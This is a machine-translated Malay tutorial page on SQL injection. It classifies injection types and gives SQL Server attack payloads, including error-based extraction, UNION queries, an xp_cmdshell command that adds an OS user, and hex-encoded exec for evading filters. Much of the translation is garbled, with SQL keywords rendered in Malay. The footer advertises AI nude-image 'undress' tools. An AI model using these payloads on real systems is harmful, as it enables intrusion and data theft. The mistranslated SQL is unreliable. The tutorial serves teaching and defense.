Apakah tiga cara suntikan sql?
Tiga kaedah suntikan SQL ialah: 1. Suntikan angka Apabila parameter input adalah integer, mungkin terdapat kelemahan suntikan angka; menjadi kelemahan suntikan aksara; 3. Suntikan carian, parameter carian tidak ditapis semasa melakukan carian data.
Persekitaran pengendalian tutorial ini: sistem Windows 7, mysql versi 8.0, komputer Dell G3.
Prinsip suntikan SQL
Serangan suntikan SQL merujuk kepada membina input khas sebagai parameter dan menghantarnya ke dalam aplikasi web, dan kebanyakan input ini adalah beberapa kombinasi dalam sintaks SQL Dengan melaksanakan pernyataan SQL Kemudian operasi yang diperlukan oleh penyerang dilakukan Sebab utama ialah program tidak menapis input data dengan teliti oleh pengguna, menyebabkan data haram menyerang sistem.
Klasifikasi suntikan SQL
1. Suntikan berangka
Apabila parameter input ialah integer, mungkin terdapat kelemahan suntikan angka.
Andaikan terdapat URL: HTTP://www.aaa.com/test.php?id=1
Anda boleh meneka pernyataan SQL latar belakang sebagai:
SELECT * FROM table WHERE id=1
Tentukan titik suntikan SQL kerentanan berangka:
① Mula-mula masukkan pernyataan SQL seperti petikan tunggal '
dalam input kotak Ia akan menjadi:
SELECT * FROM table WHERE id=1',
tidak menepati sintaks, jadi pernyataan pasti akan menjadi salah, menyebabkan skrip tidak dapat diperolehi data daripada pangkalan data, dengan itu menjadikan yang asal Terdapat pengecualian pada halaman.
② Masukkan dan 1 = 1 dalam kotak input
Pernyataan SQL menjadi:
PILIH * DARI jadual WHERE id=1 dan 1 = 1
Pernyataan itu betul, pelaksanaan adalah normal, dan data yang dikembalikan tidak mempunyai perbezaan daripada permintaan asal.
③ Masukkan dan 1 = 2 dalam pangkalan data
Pernyataan SQL menjadi:
PILIH * DARI jadual WHERE id=1 dan 1 = 2
Walaupun sintaks adalah betul dan penyataan dilaksanakan secara normal, logiknya salah kerana 1 = 2 adalah palsu secara kekal, jadi data yang dikembalikan adalah berbeza daripada permintaan asal.
Jika ketiga-tiga langkah di atas dipenuhi, program mungkin mempunyai kelemahan suntikan SQL berangka.
2. Suntikan aksara
Apabila parameter input ialah rentetan, kerentanan suntikan aksara mungkin wujud. Perbezaan terbesar antara suntikan angka dan aksara ialah jenis angka tidak perlu ditutup dengan petikan tunggal, manakala jenis aksara biasanya perlu ditutup dengan petikan tunggal.
Perkara yang paling kritikal tentang suntikan aksara ialah cara menutup pernyataan SQL dan mengulas kod berlebihan.
Anggapkan bahawa pernyataan SQL latar belakang adalah seperti berikut:
PILIH * DARI jadual WHERE nama pengguna = 'admin'
Untuk menentukan titik suntikan SQL bagi kelemahan jenis aksara:
Halaman itu tidak normal.
② Input: admin' dan 1 = 1 --
Nota: Terdapat satu tanda petikan' selepas pentadbir, yang digunakan untuk menutup rentetan, dan akhirnya terdapat watak komen --(dua Terdapat ruang selepas bar! ).
Pernyataan SQL menjadi: PILIH * DARI jadual WHERE nama pengguna = 'admin' dan 1 = 1 --Halaman dipaparkan dengan betul.
③ Input: admin' dan 1 = 2 --
Pernyataan SQL menjadi:
PILIH * DARI jadual DI MANA nama pengguna = 'admin' dan 1 = 2 - -
Ralat halaman.
Jika ketiga-tiga langkah di atas dipenuhi, mungkin terdapat suntikan SQL aksara.
3. Suntikan carianIni adalah jenis suntikan yang istimewa. Jenis suntikan ini terutamanya merujuk kepada tidak menapis parameter carian semasa melakukan carian data Secara umumnya, terdapat "kata kunci=kata kunci" dalam alamat pautan, tetapi dihantar terus melalui borang kotak carian. Prototaip pernyataan SQL yang dikemukakan oleh jenis titik suntikan ini adalah secara kasar: pilih * dari nama jadual di mana medan seperti '%kata kunci%' Jika terdapat suntikan, kami boleh membina pernyataan suntikan SQL yang serupa dengan yang berikut untuk letupan: pilih * dari nama jadual di mana medan seperti '%test%' dan '%1%'='%1%'
Berikut ialah beberapa nama suntikan biasa:
POST suntikan : Medan yang disuntik berada dalam data POST
- Suntikan kuki: Medan yang disuntik berada dalam data Kuki
- Suntikan tertunda: Gunakan ciri kelewatan pangkalan data untuk menyuntik
- Suntikan carian: Lokasi suntikan ialah tempat carian
- suntikan base64: Rentetan yang disuntik perlu disulitkan base64
- Suntikan pangkalan data biasa
Untuk suntikan pangkalan data, penyerang hanya menggunakan pangkalan data untuk mendapatkan lebih banyak data atau kebenaran yang lebih besar Kaedah penggunaan boleh diringkaskan ke dalam kategori berikut:
Data pertanyaan
- Baca dan tulis fail
- Laksanakan arahan
-
Berikut ialah suntikan tiga pangkalan data: Oracle 11g, MySQL 5.1 dan SQL Server 2008.
SQL Server
1. Gunakan mesej ralat untuk mengekstrak maklumat
Pangkalan data SQL Server ialah pangkalan data yang sangat baik, ia boleh mengesan maklumat ralat dengan tepat, yang merupakan kelebihan besar untuk penyerang Ini adalah satu perkara yang sangat baik, kerana penyerang boleh mengekstrak data yang dikehendakinya melalui mesej ralat.
① Hitung jadual atau lajur semasa
Andaikan jadual sedemikian wujud:
Soal butiran pengguna akar, SQL Tekaan pernyataan adalah seperti berikut:
PILIH * DARI pengguna WHERE nama pengguna = 'root' DAN kata laluan = 'root'
Penyerang boleh menggunakan ciri SQL Server untuk mendapatkan maklumat sensitif, masukkan yang berikut dalam kotak input Pernyataan:
' mempunyai 1 = 1 --
Pernyataan SQL yang dilaksanakan akhir akan menjadi:
PILIH * DARI pengguna WHERE nama pengguna = 'root' DAN kata laluan = 'root' MEMPUNYAI 1 = 1 --
Kemudian pelaksana SQL mungkin membuang ralat:
Penyerang boleh menemui jadual semasa Pengguna bernama , dan id medan wujud.
Penyerang boleh menggunakan ciri ini untuk terus mendapatkan nama lajur lain dengan memasukkan pernyataan berikut:
' KUMPULAN OLEH users.id MEMPUNYAI 1 = 1 --
Kemudian pernyataan SQL menjadi Untuk:
PILIH * DARI pengguna WHERE nama pengguna = 'root' DAN kata laluan = 'root' KUMPULAN OLEH pengguna.id MEMPUNYAI 1 = 1 --
Melempar ralat:
Anda boleh melihat bahawa nama pengguna nama lajur disertakan. Anda boleh membuat pertanyaan secara rekursif sekali sehingga tiada mesej ralat dikembalikan, jadi anda boleh menggunakan klausa HAVING untuk mendapatkan semua nama lajur jadual.
Nota: Setiap lajur yang ditentukan oleh Pilih seharusnya muncul dalam klausa Kumpulan Mengikut, melainkan fungsi agregat digunakan untuk lajur ini
② Gunakan ralat jenis data untuk mengekstrak data
Editor SQL akan membuang pengecualian jika anda cuba membandingkan rentetan dengan bukan rentetan, atau menukar rentetan kepada jenis lain yang tidak serasi.
Pernyataan SQL berikut:
PILIH * DARI pengguna DI MANA nama pengguna = 'abc' DAN kata laluan = 'abc' DAN 1 > (PILIH 1 nama pengguna TOP DARIPADA pengguna)
Mesej ralat pelaksana:
Dengan cara ini anda boleh mendapatkan akar nama pengguna pengguna. Kerana dalam subkueri SELECT TOP 1 nama pengguna DARI pengguna, nama pengguna pertanyaan pertama dikembalikan Jenis kembali adalah jenis varchar, dan kemudian dibandingkan dengan 1 jenis int Kedua-dua jenis data yang berbeza tidak boleh dibandingkan dan ralat ini mengakibatkan pelanggaran data.
Gunakan kaedah ini untuk menyimpulkan secara rekursif semua maklumat akaun:
PILIH * DARI pengguna DI MANA nama pengguna = 'abc' DAN kata laluan = 'abc' DAN 1 > bukan dalam ('root')).
Dengan membina pernyataan ini, anda boleh mendapatkan nama pengguna seterusnya jika anda menggantikan nama pengguna dalam subquery dengan nama lajur lain, anda boleh mendapatkan maklumat lajur lain, yang tidak akan diterangkan di sini.
2. Dapatkan metadata
SQL Server menyediakan sejumlah besar paparan untuk memudahkan mendapatkan metadata. Mula-mula anda boleh meneka bilangan lajur dalam jadual, dan kemudian gunakan UNION untuk membina pernyataan SQL untuk mendapatkan data.
Contohnya:
PILIH *** DARI *** WHERE id = *** KESATUAN PILIH 1, JADUAL_NAMA DARI INFORMATION_SKEMA.JADUAL
Jika bilangan lajur dalam jadual semasa ialah 2, anda boleh menggunakan pernyataan UNION untuk mendapatkan jadual pangkalan data semasa. Cara meneka bilangan lajur dalam jadual semasa akan diterangkan kemudian.
Beberapa paparan pangkalan data sistem yang biasa digunakan:
数据库视图 说明 SYS.DATABASES SQL Server 中的所有数据库 SYS.SQL_LOGINS SQL Server 中的所有登录名 INFORMATION_SCHEMA.TABLES 当前用户数据库中的所有数据表 INFORMATION_SCHEMA.COLUMNS 当前用户数据库中的所有列 SYS.ALL_COLUMNS 用户定义对象和系统对象的所有列的联合 SYS.DATABASE_PRINCIPALS 数据库中每个权限或列异常权限 SYS.DATABASE_FILES 存储在数据库中的数据库文件 SYSOBJECTS 数据库中创建的每个对象 (包括约束、日志以及存储过程) 3. Klausa ORDER BY meneka bilangan lajur
Anda boleh menggunakan pernyataan ORDER BY untuk menentukan bilangan lajur dalam jadual semasa.
Contohnya:
① SELECT * FROM users WHERE id = 1 - SQL execution is normal
②SELECT * FROM users WHERE id = 1 ORDER BY 1 (mengikut Isih lajur pertama) - Pelaksanaan SQL adalah perkara biasa
③ PILIH * DARI pengguna DI MANA id = 1 ORDER OLEH 2 (diisih mengikut lajur kedua) - Pelaksanaan SQL adalah biasa
④ PILIH * DARI pengguna WHERE id = 1 ORDER BY 3 (diisih mengikut lajur ketiga) - SQL dilaksanakan seperti biasa
⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4 (diisih mengikut lajur keempat) - SQL membuang pengecualian:
Boleh disimpulkan bahawa bilangan lajur dalam jadual semasa ialah 3 sahaja, kerana ralat berlaku semasa mengisih mengikut lajur ke-4. Kaedah ini juga berfungsi dalam pangkalan data Oracle dan MySql.
Setelah mengetahui bilangan lajur, penyerang biasanya bekerjasama dengan kata kunci UNION untuk melakukan serangan seterusnya.
4. Pertanyaan UNION
Kata kunci UNION menggabungkan dua atau lebih hasil pertanyaan ke dalam set hasil tunggal. Walau bagaimanapun, peraturan asas untuk menggabungkan dua hasil menggunakan UNION adalah seperti berikut:
Bilangan lajur dalam semua pertanyaan mestilah sama
Jenis data mestilah serasi
① Gunakan pertanyaan UNION untuk meneka bilangan lajur
Bukan sahaja anda boleh menggunakan kaedah ORDER BY untuk meneka bilangan lajur, kaedah UNION juga boleh digunakan.
Terdapat 5 lajur dalam jadual pengguna yang diandaikan sebelum ini Jika kita menggunakan UNION untuk membuat pertanyaan:
PILIH * DARI pengguna WHERE id = 1 UNION SELECT 1
Pangkalan data akan. issue Exception:
Anda boleh membuat pertanyaan secara rekursif sehingga tiada ralat berlaku, kemudian anda boleh mengetahui bilangan medan pertanyaan dalam jadual Pengguna:
UNION SELECT 1 ,2, UNION SELECT 1,2,3
Anda juga boleh menukar nombor selepas SELECT kepada null, supaya pengecualian ketidakserasian kurang berkemungkinan berlaku.
② Pertanyaan kesatuan untuk maklumat sensitif
Setelah mengetahui bahawa bilangan lajur ialah 4, anda boleh menggunakan pernyataan berikut untuk terus menyuntik:
UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (Nota: xtype='U' bermaksud jenis objek ialah jadual)
Jika jenis data lajur pertama tidak sepadan, pangkalan data akan melaporkan ralat, kemudian anda boleh membuat pertanyaan secara rekursif sehingga penyataan itu serasi . Apabila pernyataan itu dilaksanakan seperti biasa, anda boleh menggantikan x dengan pernyataan SQL untuk menanyakan maklumat sensitif.
5 Gunakan fungsi sistem yang disediakan oleh SQL Server
SQL Server menyediakan banyak fungsi sistem Anda boleh menggunakan fungsi sistem ini untuk mengakses maklumat dalam jadual sistem SQL Server tanpa menggunakan SQL pertanyaan.
Contohnya:
SELECT suser_name(): Mengembalikan nama pengenalan log masuk pengguna
SELECT user_name(): Berdasarkan pada yang ditentukan Nombor pengenalan mengembalikan nama pengguna pangkalan data
SELECT db_name(): mengembalikan nama pangkalan data
SELECT is_member('db_owner' ): sama ada ia adalah pangkalan data Peranan
SELECT convert(int, '5'): Penukaran jenis data
6 🎜>
Prosedur tersimpan (Prosedur Tersimpan) ialah satu set "fungsi" SQL yang digunakan untuk melengkapkan fungsi tertentu dalam sistem pangkalan data yang besar, seperti melaksanakan perintah sistem, melihat pendaftaran, membaca direktori cakera, dsb. Prosedur tersimpan yang paling biasa digunakan oleh penyerang ialah "xp_cmdshell", yang membolehkan pengguna melaksanakan arahan sistem pengendalian. Contohnya: http://www.aaa.org/test.aspx?id=1 Terdapat titik suntikan, kemudian penyerang boleh melakukan serangan arahan:http://www. aaa. org/test.aspx?id=1; exec xp_cmdshell 'net user test test /add'
Pernyataan SQL yang dilaksanakan akhir adalah seperti berikut: PILIH * DARI jadual WHERE id= 1; exec xp_cmdshell 'net user test test /add'Pernyataan selepas koma bertitik boleh mencipta pengguna baharu dengan ujian nama pengguna dan kata laluan untuk penyerang pada pelayan pihak lain. Nota: Tiada mana-mana pengguna pangkalan data boleh menggunakan prosedur tersimpan jenis ini, pengguna mesti memegang kebenaran CONTROL SERVER. Prosedur tersimpan berbahaya yang biasa adalah seperti berikut:Selain itu, mana-mana pangkalan data memerlukan kebenaran khusus apabila menggunakan beberapa fungsi khas atau prosedur tersimpan. Peranan dan kebenaran pangkalan data SQL Server yang biasa adalah seperti berikut:
角色 权限 bulkadmin 可以运行 BULK INSERT 语句 dbcreator 可以创建、更改、删除和还原任何数据库 diskadmin 可以管理磁盘文件 processadmin 可以种植在数据库引擎中运行的实例 securityadmin 可以管理登录名及其属性;可以利用 GRANT、DENY 和 REVOKE 服务器级别的权限;还可以利用 GRANT、DENY 和 REVOKE 数据库级别的权限;此外也可以重置 SQL Server 登录名的密码 serveradmin 可以更改服务器范围的配置选项和关闭服务器 setupadmin 可以添加和删除链接服务器,并可以执行某些系统存储过程 sysadmin 可以在数据库引擎中执行任何活动 7 Pelaksanaan dinamik
SQL Server menyokong pelaksanaan dinamik pernyataan dan pengguna boleh menyerahkan rentetan untuk melaksanakan pernyataan SQL.
Contohnya: exec('SELECT username, password FROM users')
Anda juga boleh mentakrifkan pernyataan SQL perenambelasan dan menggunakan fungsi exec untuk melaksanakannya. Kebanyakan aplikasi web dan tembok api menapis petikan tunggal Menggunakan exec untuk melaksanakan penyata SQL perenambelasan boleh menembusi banyak tembok api dan program anti-suntikan, seperti:
declare @query varchar(888) select @query=0x73656C6563742031 exec(@query)
Salin selepas log masukatau:
mengisytiharkan/*. */@query/**/varchar(888)/**/pilih/**/@query=0x73656C6563742031/**/exec(@query)
Cadangan berkaitan: "tutorial mysql》
Atas ialah kandungan terperinci Apakah tiga cara suntikan sql?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Nginx ialah pelayan web yang pantas, berprestasi tinggi, berskala, dan keselamatannya merupakan isu yang tidak boleh diabaikan dalam pembangunan aplikasi web. Terutamanya serangan suntikan SQL, yang boleh menyebabkan kerosakan besar pada aplikasi web. Dalam artikel ini, kami akan membincangkan cara menggunakan Nginx untuk menghalang serangan suntikan SQL untuk melindungi keselamatan aplikasi web. Apakah serangan suntikan SQL? Serangan suntikan SQL ialah kaedah serangan yang mengeksploitasi kelemahan dalam aplikasi web. Penyerang boleh menyuntik kod hasad ke dalam aplikasi web

Gambaran Keseluruhan Prakata 0x01 Editor menemui satu lagi limpahan data Berganda dalam MySQL. Apabila kita mendapat fungsi dalam MySQL, editor lebih berminat dengan fungsi matematik Ia juga harus mengandungi beberapa jenis data untuk menyimpan nilai. Jadi editor berlari untuk menguji untuk melihat fungsi mana yang akan menyebabkan ralat limpahan. Kemudian editor mendapati bahawa apabila nilai yang lebih besar daripada 709 diluluskan, fungsi exp() akan menyebabkan ralat limpahan. mysql>selectexp(709);+----------------------+|exp(709)|+---------- - -----------+|8.218407461554972

Petua Pengaturcaraan PHP: Cara Mencegah Serangan Suntikan SQL Keselamatan adalah penting apabila melakukan operasi pangkalan data. Serangan suntikan SQL ialah serangan rangkaian biasa yang mengeksploitasi pengendalian input pengguna yang tidak betul oleh aplikasi, mengakibatkan kod SQL berniat jahat dimasukkan dan dilaksanakan. Untuk melindungi aplikasi kami daripada serangan suntikan SQL, kami perlu mengambil beberapa langkah berjaga-jaga. Gunakan pertanyaan berparameter Pertanyaan berparameter ialah cara paling asas dan paling berkesan untuk menghalang serangan suntikan SQL. Ia berfungsi dengan membandingkan nilai yang dimasukkan pengguna dengan pertanyaan SQL

Nota Pembangunan Laravel: Kaedah dan Teknik untuk Mencegah SQL Injection Dengan perkembangan Internet dan kemajuan teknologi komputer yang berterusan, pembangunan aplikasi web telah menjadi semakin biasa. Semasa proses pembangunan, keselamatan sentiasa menjadi isu penting yang tidak boleh diabaikan oleh pembangun. Antaranya, mencegah serangan suntikan SQL adalah salah satu isu keselamatan yang memerlukan perhatian khusus semasa proses pembangunan. Artikel ini akan memperkenalkan beberapa kaedah dan teknik yang biasa digunakan dalam pembangunan Laravel untuk membantu pembangun mencegah suntikan SQL dengan berkesan. Menggunakan pengikatan parameter Pengikatan parameter ialah Lar

Gambaran keseluruhan pengesanan dan pembaikan kelemahan suntikan SQL PHP: Suntikan SQL merujuk kepada kaedah serangan di mana penyerang menggunakan aplikasi web untuk menyuntik kod SQL secara berniat jahat ke dalam input. PHP, sebagai bahasa skrip yang digunakan secara meluas dalam pembangunan web, digunakan secara meluas untuk membangunkan laman web dan aplikasi dinamik. Walau bagaimanapun, disebabkan fleksibiliti dan kemudahan penggunaan PHP, pembangun sering mengabaikan keselamatan, mengakibatkan kewujudan kelemahan suntikan SQL. Artikel ini akan memperkenalkan cara untuk mengesan dan membetulkan kelemahan suntikan SQL dalam PHP dan memberikan contoh kod yang berkaitan. semak

Dalam bidang keselamatan rangkaian, serangan suntikan SQL adalah kaedah serangan biasa. Ia mengeksploitasi kod berniat jahat yang diserahkan oleh pengguna berniat jahat untuk mengubah tingkah laku aplikasi untuk melaksanakan operasi yang tidak selamat. Serangan suntikan SQL biasa termasuk operasi pertanyaan, operasi sisipan dan operasi padam. Antaranya, operasi pertanyaan adalah yang paling kerap diserang, dan kaedah biasa untuk menghalang serangan suntikan SQL ialah menggunakan PHP. PHP ialah bahasa skrip sebelah pelayan yang biasa digunakan yang digunakan secara meluas dalam aplikasi web. PHP boleh dikaitkan dengan MySQL dll.

Penapisan bentuk PHP: Pencegahan dan penapisan suntikan SQL Pengenalan: Dengan perkembangan pesat Internet, pembangunan aplikasi Web telah menjadi semakin biasa. Dalam pembangunan web, borang adalah salah satu cara interaksi pengguna yang paling biasa. Walau bagaimanapun, terdapat risiko keselamatan dalam pemprosesan data penyerahan borang. Antaranya, salah satu risiko yang paling biasa ialah serangan suntikan SQL. Serangan suntikan SQL ialah kaedah serangan yang menggunakan aplikasi web untuk mengendalikan data input pengguna secara tidak betul, membolehkan penyerang melakukan pertanyaan pangkalan data yang tidak dibenarkan. Penyerang melepasi

Suntikan SQL ialah kaedah serangan rangkaian biasa yang menggunakan pemprosesan data input aplikasi yang tidak sempurna untuk berjaya menyuntik pernyataan SQL yang berniat jahat ke dalam pangkalan data. Kaedah serangan ini amat biasa dalam aplikasi yang dibangunkan menggunakan bahasa PHP, kerana pengendalian PHP terhadap input pengguna biasanya agak lemah. Artikel ini akan memperkenalkan beberapa strategi untuk menangani kelemahan suntikan SQL dan memberikan contoh kod PHP. Menggunakan kenyataan yang disediakan Kenyataan yang disediakan ialah cara yang disyorkan untuk mempertahankan diri daripada suntikan SQL. Ia menggunakan parameter mengikat untuk menggabungkan data input dengan
